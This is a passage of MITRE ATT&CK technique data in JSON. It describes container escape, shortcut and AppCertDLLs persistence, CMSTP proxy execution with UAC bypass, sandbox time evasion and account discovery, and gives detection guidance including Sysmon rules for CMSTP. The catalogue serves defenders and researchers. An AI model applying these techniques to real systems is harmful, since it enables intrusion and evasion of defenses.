"x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b", "created": "2023-08-24T17:23:34.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/011", "external_id": "T1564.011"}, {"source_name": "Linux Signal Man", "description": "Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.", "url": "https://man7.org/linux/man-pages/man7/signal.7.html"}, {"source_name": "nohup Linux Man", "description": "Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.", "url": "https://linux.die.net/man/1/nohup"}, {"source_name": "Microsoft PowerShell SilentlyContinue", "description": "Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.", "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T12:42:18.632Z", "name": "Escape to Host", "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Yuval Avrahami, Palo Alto Networks", "Daniel Prizmant, Palo Alto Networks", "Alfredo Oliveira, Trend Micro", "David Fiser, @anu4is, Trend Micro", "Idan Frimark, Cisco", "Magno Logan, @magnologan, Trend Micro", "Ariel Shuper, Cisco", "Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee", "CrowdStrike", "Eran Ayalon, Cybereason", "Oren Ofer, Cybereason", "Ilan Sokol, Cybereason", "Joas Antonio dos Santos, @C0d3Cr4zy"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as <code>mount</code> (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "Containers"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Process: Process Creation", "Kernel: Kernel Module Load", "Container: Container Creation", "Volume: Volume Modification", "Process: OS API Execution"], "x_mitre_permissions_required": ["Administrator", "User", "root"], "type": "attack-pattern", "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "created": "2021-03-30T17:38:34.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1611", "external_id": "T1611"}, {"source_name": "Container Escape", "description": "0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.", "url": "https://0xn3va.gitbook.io/cheat-sheets/container/escaping"}, {"source_name": "Windows Server Containers Are Open", "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.", "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/"}, {"source_name": "Docker Overview", "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.", "url": "https://docs.docker.com/get-started/overview/"}, {"source_name": "Docker Bind Mounts", "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.", "url": "https://docs.docker.com/storage/bind-mounts/"}, {"source_name": "Trend Micro Privileged Container", "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.", "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html"}, {"source_name": "Intezer Doki July 20", "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"}, {"source_name": "Crowdstrike Kubernetes Container Escape", "description": "Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.", "url": "https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/"}, {"source_name": "Keyctl-unmask", "description": "Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.", "url": "https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:49.848Z", "name": "Shortcut Modification", "description": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["David French, Elastic", "Bobby, Filar, Elastic", "Travis Smith, Tripwire"], "x_mitre_deprecated": false, "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "Process: Process Creation", "File: File Creation"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "created": "2020-01-24T19:00:32.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/009", "external_id": "T1547.009"}, {"source_name": "Shortcut for Persistence ", "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.", "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"}, {"source_name": "BSidesSLC 2020 - LNK Elastic", "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.", "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2023-04-15T16:46:04.776Z", "name": "Application Window Discovery", "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "created": "2017-05-31T21:30:24.512Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1010", "external_id": "T1010"}, {"source_name": "ESET Grandoreiro April 2020", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"}, {"source_name": "Prevailion DarkWatchman 2021", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", "type": "attack-pattern", "created": "2017-05-31T21:30:35.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1032", "url": "https://attack.mitre.org/techniques/T1032"}, {"url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", "source_name": "SANS Decrypting SSL"}, {"url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", "source_name": "SEI SSL Inspection Risks"}, {"url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", "source_name": "Fidelis DarkComet"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-21T00:43:01.387Z", "name": "Standard Cryptographic Protocol", "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "Office 365", "Google Workspace"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", "type": "attack-pattern", "created": "2020-02-21T21:08:33.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1087.003", "url": "https://attack.mitre.org/techniques/T1087/003"}, {"source_name": "Microsoft Exchange Address Lists", "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019", "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020."}, {"source_name": "Microsoft getglobaladdresslist", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist", "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019."}, {"description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/", "source_name": "Black Hills Attacking Exchange MailSniper, 2016"}, {"source_name": "Google Workspace Global Access List", "url": "https://support.google.com/a/answer/166870?hl=en", "description": "Google. (n.d.). Retrieved March 16, 2021."}], "modified": "2021-03-31T13:10:46.302Z", "name": "Email Account", "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", "type": "attack-pattern", "created": "2017-05-31T21:30:50.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1062", "url": "https://attack.mitre.org/techniques/T1062"}, {"external_id": "CAPEC-552", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/552.html"}, {"url": "https://en.wikipedia.org/wiki/Hypervisor", "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.", "source_name": "Wikipedia Hypervisor"}, {"url": "http://en.wikipedia.org/wiki/Xen", "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.", "source_name": "Wikipedia Xen"}, {"url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.", "source_name": "Myers 2007"}, {"url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html", "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.", "source_name": "virtualization.info 2006"}], "modified": "2020-03-30T13:44:04.712Z", "name": "Hypervisor", "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)", "x_mitre_deprecated": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jorge Orchilles, SCYTHE", "Ruben Dodge, @shotgunner101", "Jeff Felling, Red Canary", "Deloitte Threat Library Team"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "type": "attack-pattern", "created": "2020-03-06T21:11:11.225Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1497.003", "url": "https://attack.mitre.org/techniques/T1497/003"}, {"source_name": "Deloitte Environment Awareness", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."}, {"source_name": "Revil Independence Day", "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/", "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021."}, {"source_name": "Netskope Nitol", "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique", "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021."}, {"source_name": "Joe Sec Nymaim", "url": "https://www.joesecurity.org/blog/3660886847485093803", "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021."}, {"source_name": "Joe Sec Trickbot", "url": "https://www.joesecurity.org/blog/498839998833561473", "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}, {"source_name": "ISACA Malware Tricks", "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes", "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021."}], "modified": "2021-10-15T22:37:43.854Z", "name": "Time Based Evasion", "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Host forensic analysis", "Signature-based detection", "Static File Analysis", "Anti-virus"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1182", "url": "https://attack.mitre.org/techniques/T1182"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}, {"url": "https://forum.sysinternals.com/appcertdlls_topic12546.html", "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", "source_name": "Sysinternals AppCertDlls Oct 2007"}], "modified": "2020-11-10T18:29:30.350Z", "name": "AppCert DLLs", "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-04-21T12:24:13.666Z", "name": "CMSTP", "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Nik Seetharaman, Palantir", "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", "x_mitre_domains": ["enterprise-attack"], 